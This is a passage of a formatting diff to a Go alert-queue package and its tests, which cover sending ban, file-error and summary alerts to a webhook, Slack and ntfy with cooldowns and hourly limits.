||||||
maxRetryDelay,
|
|
||||||
)
|
|
||||||
retryAt = time.Now().Add(retryDelay)
|
retryAt = time.Now().Add(retryDelay)
|
||||||
|
|
||||||
d.processLog.Warn(
|
d.processLog.Warn("sending an alert to "+d.setting+" failed",
|
||||||
"sending an alert to "+d.setting+" failed",
|
"error", err.Error(), "sending_again_in", retryDelay.String())
|
||||||
"error",
|
|
||||||
err.Error(),
|
|
||||||
"sending_again_in",
|
|
||||||
retryDelay.String(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -808,12 +781,8 @@ func (d *destination) send(ctx context.Context, alert *Alert) error {
|
|||||||
ctx, cancel := context.WithTimeout(ctx, sendTimeout)
|
ctx, cancel := context.WithTimeout(ctx, sendTimeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(
|
req, err := http.NewRequestWithContext(ctx, http.MethodPost, d.url.String(),
|
||||||
ctx,
|
bytes.NewReader(body))
|
||||||
http.MethodPost,
|
|
||||||
d.url.String(),
|
|
||||||
bytes.NewReader(body),
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("make the request: %w", err)
|
return fmt.Errorf("make the request: %w", err)
|
||||||
}
|
}
|
||||||
@@ -867,14 +836,7 @@ func (q *Queue) webhookMessage(alert *Alert) ([]byte, http.Header, error) {
|
|||||||
// in JSON: its title in bold, then its text, with &, < and > escaped, as
|
// in JSON: its title in bold, then its text, with &, < and > escaped, as
|
||||||
// Slack asks, so that nothing in them is read as a link or a mention.
|
// Slack asks, so that nothing in them is read as a link or a mention.
|
||||||
func slackMessage(alert *Alert) ([]byte, http.Header, error) {
|
func slackMessage(alert *Alert) ([]byte, http.Header, error) {
|
||||||
escape := strings.NewReplacer(
|
escape := strings.NewReplacer("&", "&", "<", "<", ">", ">").Replace
|
||||||
"&",
|
|
||||||
"&",
|
|
||||||
"<",
|
|
||||||
"<",
|
|
||||||
">",
|
|
||||||
">",
|
|
||||||
).Replace
|
|
||||||
|
|
||||||
body, err := json.Marshal(map[string]string{
|
body, err := json.Marshal(map[string]string{
|
||||||
"text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)),
|
"text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)),
|
||||||
@@ -972,10 +934,7 @@ func text(alert *Alert) string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if alert.SuppressedRepeats > 0 {
|
if alert.SuppressedRepeats > 0 {
|
||||||
lines = append(
|
lines = append(lines, fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats))
|
||||||
lines,
|
|
||||||
fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return strings.Join(lines, "\n")
|
return strings.Join(lines, "\n")
|
||||||
|
|||||||
+90
-314
@@ -65,10 +65,7 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
|
|||||||
Netblock: netip.MustParsePrefix("203.0.113.0/24"),
|
Netblock: netip.MustParsePrefix("203.0.113.0/24"),
|
||||||
Country: "DE",
|
Country: "DE",
|
||||||
Reason: "requests per minute over the limit of 1000",
|
Reason: "requests per minute over the limit of 1000",
|
||||||
Detail: map[string]any{
|
Detail: map[string]any{"cause": "limit", "ban_expires": anHourOn},
|
||||||
"cause": "limit",
|
|
||||||
"ban_expires": anHourOn,
|
|
||||||
},
|
|
||||||
})
|
})
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
@@ -78,12 +75,7 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if got[0].method != http.MethodPost || got[0].url != webhookURL {
|
if got[0].method != http.MethodPost || got[0].url != webhookURL {
|
||||||
t.Errorf(
|
t.Errorf("request %s %s, want POST %s", got[0].method, got[0].url, webhookURL)
|
||||||
"request %s %s, want POST %s",
|
|
||||||
got[0].method,
|
|
||||||
got[0].url,
|
|
||||||
webhookURL,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for name, want := range map[string]string{
|
for name, want := range map[string]string{
|
||||||
@@ -92,29 +84,21 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
|
|||||||
"X-Team": "ops",
|
"X-Team": "ops",
|
||||||
} {
|
} {
|
||||||
if got[0].header.Get(name) != want {
|
if got[0].header.Get(name) != want {
|
||||||
t.Errorf(
|
t.Errorf("header %s is %q, want %q", name, got[0].header.Get(name), want)
|
||||||
"header %s is %q, want %q",
|
|
||||||
name,
|
|
||||||
got[0].header.Get(name),
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
wantAlert(t, got[0].alert, map[string]any{
|
wantAlert(t, got[0].alert, map[string]any{
|
||||||
"instance": instance,
|
"instance": instance,
|
||||||
"time": started,
|
"time": started,
|
||||||
"event": "ban",
|
"event": "ban",
|
||||||
"client": "203.0.113.9",
|
"client": "203.0.113.9",
|
||||||
"netblock": "203.0.113.0/24",
|
"netblock": "203.0.113.0/24",
|
||||||
"asn": "",
|
"asn": "",
|
||||||
"as_name": "",
|
"as_name": "",
|
||||||
"country": "DE",
|
"country": "DE",
|
||||||
"reason": "requests per minute over the limit of 1000",
|
"reason": "requests per minute over the limit of 1000",
|
||||||
"detail": map[string]any{
|
"detail": map[string]any{"cause": "limit", "ban_expires": anHourOn},
|
||||||
"cause": "limit",
|
|
||||||
"ban_expires": anHourOn,
|
|
||||||
},
|
|
||||||
"suppressed_repeats": float64(0),
|
"suppressed_repeats": float64(0),
|
||||||
})
|
})
|
||||||
wantCounts(t, q, 1, 0, 0, 0)
|
wantCounts(t, q, 1, 0, 0, 0)
|
||||||
@@ -126,25 +110,12 @@ func TestOnlyTheChosenEventsAreSent(t *testing.T) {
|
|||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
params := newParams()
|
params := newParams()
|
||||||
params.Events = []string{
|
params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
|
||||||
alerts.EventSourceFailure,
|
|
||||||
alerts.EventFileError,
|
|
||||||
}
|
|
||||||
webhook, q := start(t, params)
|
webhook, q := start(t, params)
|
||||||
|
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
||||||
q.Raise(
|
q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
|
||||||
alerts.Alert{
|
q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(1)})
|
||||||
Event: alerts.EventFileError,
|
|
||||||
Reason: "a file error",
|
|
||||||
},
|
|
||||||
)
|
|
||||||
q.Raise(
|
|
||||||
alerts.Alert{
|
|
||||||
Event: alerts.EventPermanentBan,
|
|
||||||
Netblock: netblock(1),
|
|
||||||
},
|
|
||||||
)
|
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
wantEvents(t, webhook, alerts.EventFileError)
|
wantEvents(t, webhook, alerts.EventFileError)
|
||||||
@@ -156,17 +127,12 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
params := newParams()
|
params := newParams()
|
||||||
params.Events = []string{
|
params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
|
||||||
alerts.EventSourceFailure,
|
|
||||||
alerts.EventFileError,
|
|
||||||
}
|
|
||||||
q := alerts.New(params)
|
q := alerts.New(params)
|
||||||
|
|
||||||
if q.WouldSend(alerts.EventBan, netblock(1)) ||
|
if q.WouldSend(alerts.EventBan, netblock(1)) ||
|
||||||
q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
|
q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
|
||||||
t.Error(
|
t.Error("a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out")
|
||||||
"a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out",
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
|
if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
|
||||||
@@ -222,10 +188,7 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) {
|
|||||||
"SWW_ALERT_NTFY_URL": onlyNtfy,
|
"SWW_ALERT_NTFY_URL": onlyNtfy,
|
||||||
} {
|
} {
|
||||||
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
|
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
|
||||||
t.Errorf(
|
t.Errorf("a ban alert would not be sent with only %s set", setting)
|
||||||
"a ban alert would not be sent with only %s set",
|
|
||||||
setting,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -262,14 +225,8 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
|
|||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
got := webhook.received()
|
got := webhook.received()
|
||||||
wantEvents(
|
wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventPermanentBan,
|
||||||
t,
|
alerts.EventBan)
|
||||||
webhook,
|
|
||||||
alerts.EventBan,
|
|
||||||
alerts.EventBan,
|
|
||||||
alerts.EventPermanentBan,
|
|
||||||
alerts.EventBan,
|
|
||||||
)
|
|
||||||
|
|
||||||
for i, want := range []struct {
|
for i, want := range []struct {
|
||||||
netblock int
|
netblock int
|
||||||
@@ -278,14 +235,9 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
|
|||||||
alert := got[i].alert
|
alert := got[i].alert
|
||||||
if alert["netblock"] != netblock(want.netblock).String() ||
|
if alert["netblock"] != netblock(want.netblock).String() ||
|
||||||
alert["suppressed_repeats"] != want.repeats {
|
alert["suppressed_repeats"] != want.repeats {
|
||||||
t.Errorf(
|
t.Errorf("alert %d is for %v with %v repeats, want %s with %v", i,
|
||||||
"alert %d is for %v with %v repeats, want %s with %v",
|
alert["netblock"], alert["suppressed_repeats"], netblock(want.netblock),
|
||||||
i,
|
want.repeats)
|
||||||
alert["netblock"],
|
|
||||||
alert["suppressed_repeats"],
|
|
||||||
netblock(want.netblock),
|
|
||||||
want.repeats,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -293,9 +245,7 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
|
func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -303,11 +253,8 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
|
|||||||
webhook, q := start(t, params)
|
webhook, q := start(t, params)
|
||||||
fileError := func(file string) alerts.Alert {
|
fileError := func(file string) alerts.Alert {
|
||||||
return alerts.Alert{
|
return alerts.Alert{
|
||||||
Event: alerts.EventFileError,
|
Event: alerts.EventFileError,
|
||||||
Detail: map[string]any{
|
Detail: map[string]any{"file": file, "error": "line 2: an error"},
|
||||||
"file": file,
|
|
||||||
"error": "line 2: an error",
|
|
||||||
},
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
sourceFailure := func(source string) alerts.Alert {
|
sourceFailure := func(source string) alerts.Alert {
|
||||||
@@ -338,11 +285,7 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
|
|||||||
"/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb",
|
"/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb",
|
||||||
}
|
}
|
||||||
if !slices.Equal(got, want) {
|
if !slices.Equal(got, want) {
|
||||||
t.Errorf(
|
t.Errorf("the webhook was sent alerts for %v, want %v", got, want)
|
||||||
"the webhook was sent alerts for %v, want %v",
|
|
||||||
got,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantCounts(t, q, 4, 0, 2, 0)
|
wantCounts(t, q, 4, 0, 2, 0)
|
||||||
@@ -355,12 +298,8 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
|
|||||||
after.Raise(fileError("/rules.d/50-c.rules"))
|
after.Raise(fileError("/rules.d/50-c.rules"))
|
||||||
|
|
||||||
waiting := after.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := after.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
if len(waiting) != 1 ||
|
if len(waiting) != 1 || waiting[0].Detail["file"] != "/rules.d/50-c.rules" {
|
||||||
waiting[0].Detail["file"] != "/rules.d/50-c.rules" {
|
t.Errorf("after loading, alerts wait %+v, want the one for 50-c.rules", waiting)
|
||||||
t.Errorf(
|
|
||||||
"after loading, alerts wait %+v, want the one for 50-c.rules",
|
|
||||||
waiting,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -397,12 +336,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
|
|||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)})
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)})
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)})
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)})
|
||||||
q.Raise(
|
q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(4)})
|
||||||
alerts.Alert{
|
|
||||||
Event: alerts.EventPermanentBan,
|
|
||||||
Netblock: netblock(4),
|
|
||||||
},
|
|
||||||
)
|
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventFileError})
|
q.Raise(alerts.Alert{Event: alerts.EventFileError})
|
||||||
|
|
||||||
// The summary is sent as the hour ends, and not before.
|
// The summary is sent as the hour ends, and not before.
|
||||||
@@ -412,13 +346,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
|
|||||||
|
|
||||||
time.Sleep(time.Nanosecond)
|
time.Sleep(time.Nanosecond)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantEvents(
|
wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary)
|
||||||
t,
|
|
||||||
webhook,
|
|
||||||
alerts.EventBan,
|
|
||||||
alerts.EventBan,
|
|
||||||
alerts.EventSummary,
|
|
||||||
)
|
|
||||||
|
|
||||||
summary := webhook.received()[2].alert
|
summary := webhook.received()[2].alert
|
||||||
wantAlert(t, summary, map[string]any{
|
wantAlert(t, summary, map[string]any{
|
||||||
@@ -436,9 +364,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
|
|||||||
"hour": started,
|
"hour": started,
|
||||||
"count": float64(3),
|
"count": float64(3),
|
||||||
"events": map[string]any{
|
"events": map[string]any{
|
||||||
"ban": float64(
|
"ban": float64(1), "permanent_ban": float64(1), "file_error": float64(1),
|
||||||
1,
|
|
||||||
), "permanent_ban": float64(1), "file_error": float64(1),
|
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
"suppressed_repeats": float64(0),
|
"suppressed_repeats": float64(0),
|
||||||
@@ -449,21 +375,13 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
|
|||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)})
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)})
|
||||||
time.Sleep(time.Hour)
|
time.Sleep(time.Hour)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantEvents(
|
wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary,
|
||||||
t,
|
alerts.EventBan)
|
||||||
webhook,
|
|
||||||
alerts.EventBan,
|
|
||||||
alerts.EventBan,
|
|
||||||
alerts.EventSummary,
|
|
||||||
alerts.EventBan,
|
|
||||||
)
|
|
||||||
wantCounts(t, q, 4, 0, 3, 0)
|
wantCounts(t, q, 4, 0, 3, 0)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
|
func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -471,9 +389,7 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
|
|||||||
params.MaxPerHour = 1
|
params.MaxPerHour = 1
|
||||||
webhook, q := start(t, params)
|
webhook, q := start(t, params)
|
||||||
raise := func() {
|
raise := func() {
|
||||||
q.Raise(
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
||||||
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The hour's one alert, and two repeats the cooldown holds back.
|
// The hour's one alert, and two repeats the cooldown holds back.
|
||||||
@@ -492,13 +408,7 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
|
|||||||
raise()
|
raise()
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
wantEvents(
|
wantEvents(t, webhook, alerts.EventBan, alerts.EventSummary, alerts.EventBan)
|
||||||
t,
|
|
||||||
webhook,
|
|
||||||
alerts.EventBan,
|
|
||||||
alerts.EventSummary,
|
|
||||||
alerts.EventBan,
|
|
||||||
)
|
|
||||||
|
|
||||||
got := webhook.received()
|
got := webhook.received()
|
||||||
if len(got) == 3 {
|
if len(got) == 3 {
|
||||||
@@ -506,16 +416,11 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
|
|||||||
summaryRepeats := got[1].alert["suppressed_repeats"]
|
summaryRepeats := got[1].alert["suppressed_repeats"]
|
||||||
lastRepeats := got[2].alert["suppressed_repeats"]
|
lastRepeats := got[2].alert["suppressed_repeats"]
|
||||||
|
|
||||||
if detail["count"] != float64(1) ||
|
if detail["count"] != float64(1) || summaryRepeats != float64(2) ||
|
||||||
summaryRepeats != float64(2) ||
|
|
||||||
lastRepeats != float64(0) {
|
lastRepeats != float64(0) {
|
||||||
t.Errorf(
|
t.Errorf("the summary counts %v alerts and %v repeats, and the last "+
|
||||||
"the summary counts %v alerts and %v repeats, and the last "+
|
"alert gives %v repeats, want 1, 2 and 0", detail["count"],
|
||||||
"alert gives %v repeats, want 1, 2 and 0",
|
summaryRepeats, lastRepeats)
|
||||||
detail["count"],
|
|
||||||
summaryRepeats,
|
|
||||||
lastRepeats,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -523,9 +428,7 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
|
func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} {
|
for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} {
|
||||||
@@ -562,12 +465,8 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
|
|||||||
|
|
||||||
kept := len(q.Snapshot().Cooldowns)
|
kept := len(q.Snapshot().Cooldowns)
|
||||||
if kept > int(cooldown/time.Minute) {
|
if kept > int(cooldown/time.Minute) {
|
||||||
t.Errorf(
|
t.Errorf("after %d netblocks, %d cooldowns are kept, want at most %d",
|
||||||
"after %d netblocks, %d cooldowns are kept, want at most %d",
|
netblocks, kept, int(cooldown/time.Minute))
|
||||||
netblocks,
|
|
||||||
kept,
|
|
||||||
int(cooldown/time.Minute),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -585,13 +484,8 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
|
|||||||
|
|
||||||
kept := len(q.Snapshot().Cooldowns)
|
kept := len(q.Snapshot().Cooldowns)
|
||||||
if kept != 0 || repeats != float64(netblocks) {
|
if kept != 0 || repeats != float64(netblocks) {
|
||||||
t.Errorf(
|
t.Errorf("%d cooldowns are kept and the webhook was given %v repeats, "+
|
||||||
"%d cooldowns are kept and the webhook was given %v repeats, "+
|
"want 0 and %d", kept, repeats, netblocks)
|
||||||
"want 0 and %d",
|
|
||||||
kept,
|
|
||||||
repeats,
|
|
||||||
netblocks,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
})
|
})
|
||||||
@@ -726,14 +620,8 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) {
|
|||||||
logged := log.String()
|
logged := log.String()
|
||||||
if !strings.Contains(logged,
|
if !strings.Contains(logged,
|
||||||
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
|
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
|
||||||
strings.Contains(
|
strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") {
|
||||||
logged,
|
t.Errorf("process log %q names no failure, or names the URL", logged)
|
||||||
"alerts.example",
|
|
||||||
) || strings.Contains(logged, "team=ops") {
|
|
||||||
t.Errorf(
|
|
||||||
"process log %q names no failure, or names the URL",
|
|
||||||
logged,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -751,9 +639,7 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
|
|||||||
// than the queue holds is raised: none waits, and the oldest, the
|
// than the queue holds is raised: none waits, and the oldest, the
|
||||||
// one the webhook was sent, is dropped.
|
// one the webhook was sent, is dropped.
|
||||||
for n := range alerts.QueueSize + 1 {
|
for n := range alerts.QueueSize + 1 {
|
||||||
q.Raise(
|
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
|
||||||
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
|
|
||||||
)
|
|
||||||
|
|
||||||
if n == 0 {
|
if n == 0 {
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
@@ -767,17 +653,9 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
|
|||||||
wantCounts(t, q, 0, 0, 0, 1)
|
wantCounts(t, q, 0, 0, 0, 1)
|
||||||
|
|
||||||
waiting := q.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := q.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
if len(waiting) != alerts.QueueSize ||
|
if len(waiting) != alerts.QueueSize || waiting[0].Netblock != netblock(1) {
|
||||||
waiting[0].Netblock != netblock(1) {
|
t.Fatalf("%d alerts wait, the first for %s, want %d, the first for %s",
|
||||||
t.Fatalf(
|
len(waiting), waiting[0].Netblock, alerts.QueueSize, netblock(1))
|
||||||
"%d alerts wait, the first for %s, want %d, the first for %s",
|
|
||||||
len(
|
|
||||||
waiting,
|
|
||||||
),
|
|
||||||
waiting[0].Netblock,
|
|
||||||
alerts.QueueSize,
|
|
||||||
netblock(1),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The request is abandoned after 10 seconds, and the webhook, which
|
// The request is abandoned after 10 seconds, and the webhook, which
|
||||||
@@ -789,22 +667,14 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
|
|||||||
got := webhook.received()
|
got := webhook.received()
|
||||||
if len(got) != alerts.QueueSize+1 ||
|
if len(got) != alerts.QueueSize+1 ||
|
||||||
got[0].alert["netblock"] != netblock(0).String() {
|
got[0].alert["netblock"] != netblock(0).String() {
|
||||||
t.Fatalf(
|
t.Fatalf("the webhook had %d requests, want %d, the first for %s",
|
||||||
"the webhook had %d requests, want %d, the first for %s",
|
len(got), alerts.QueueSize+1, netblock(0))
|
||||||
len(got),
|
|
||||||
alerts.QueueSize+1,
|
|
||||||
netblock(0),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for i, request := range got[1:] {
|
for i, request := range got[1:] {
|
||||||
if request.alert["netblock"] != netblock(i+1).String() {
|
if request.alert["netblock"] != netblock(i+1).String() {
|
||||||
t.Fatalf(
|
t.Fatalf("request %d is for %v, want %s", i+1, request.alert["netblock"],
|
||||||
"request %d is for %v, want %s",
|
netblock(i+1))
|
||||||
i+1,
|
|
||||||
request.alert["netblock"],
|
|
||||||
netblock(i+1),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -822,12 +692,8 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
|
|||||||
|
|
||||||
// Not sent: Run is not running. The repeat is held back by the
|
// Not sent: Run is not running. The repeat is held back by the
|
||||||
// cooldown, and the file error past the hourly limit.
|
// cooldown, and the file error past the hourly limit.
|
||||||
before.Raise(
|
before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
||||||
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
|
before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
||||||
)
|
|
||||||
before.Raise(
|
|
||||||
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
|
|
||||||
)
|
|
||||||
before.Raise(alerts.Alert{Event: alerts.EventFileError})
|
before.Raise(alerts.Alert{Event: alerts.EventFileError})
|
||||||
|
|
||||||
time.Sleep(time.Minute)
|
time.Sleep(time.Minute)
|
||||||
@@ -838,9 +704,7 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
|
|||||||
// The new queue sends the alert waiting, holds back the repeat as
|
// The new queue sends the alert waiting, holds back the repeat as
|
||||||
// the cooldown still runs, and sends the summary of the hour, which
|
// the cooldown still runs, and sends the summary of the hour, which
|
||||||
// gives both repeats, as the cooldown has run out.
|
// gives both repeats, as the cooldown has run out.
|
||||||
after.Raise(
|
after.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
||||||
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
|
|
||||||
)
|
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantEvents(t, webhook, alerts.EventBan)
|
wantEvents(t, webhook, alerts.EventBan)
|
||||||
|
|
||||||
@@ -851,13 +715,9 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
|
|||||||
summary := webhook.received()[1].alert
|
summary := webhook.received()[1].alert
|
||||||
detail, _ := summary["detail"].(map[string]any)
|
detail, _ := summary["detail"].(map[string]any)
|
||||||
|
|
||||||
if detail["count"] != float64(1) ||
|
if detail["count"] != float64(1) || summary["suppressed_repeats"] != float64(2) {
|
||||||
summary["suppressed_repeats"] != float64(2) {
|
t.Errorf("the summary counts %v alerts and %v repeats, want 1 and 2",
|
||||||
t.Errorf(
|
detail["count"], summary["suppressed_repeats"])
|
||||||
"the summary counts %v alerts and %v repeats, want 1 and 2",
|
|
||||||
detail["count"],
|
|
||||||
summary["suppressed_repeats"],
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -887,13 +747,7 @@ func TestSlackAndNtfyAreSentAMessageForEachEvent(t *testing.T) {
|
|||||||
|
|
||||||
for i, each := range want {
|
for i, each := range want {
|
||||||
wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text)
|
wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text)
|
||||||
wantNtfyMessage(
|
wantNtfyMessage(t, ntfy[i], each.title, each.priorityAndTag, each.text)
|
||||||
t,
|
|
||||||
ntfy[i],
|
|
||||||
each.title,
|
|
||||||
each.priorityAndTag,
|
|
||||||
each.text,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -906,23 +760,14 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
|
|||||||
params.WebhookURL = nil
|
params.WebhookURL = nil
|
||||||
params.MaxPerHour = 1
|
params.MaxPerHour = 1
|
||||||
standIns, q := startAll(t, params)
|
standIns, q := startAll(t, params)
|
||||||
ban := alerts.Alert{
|
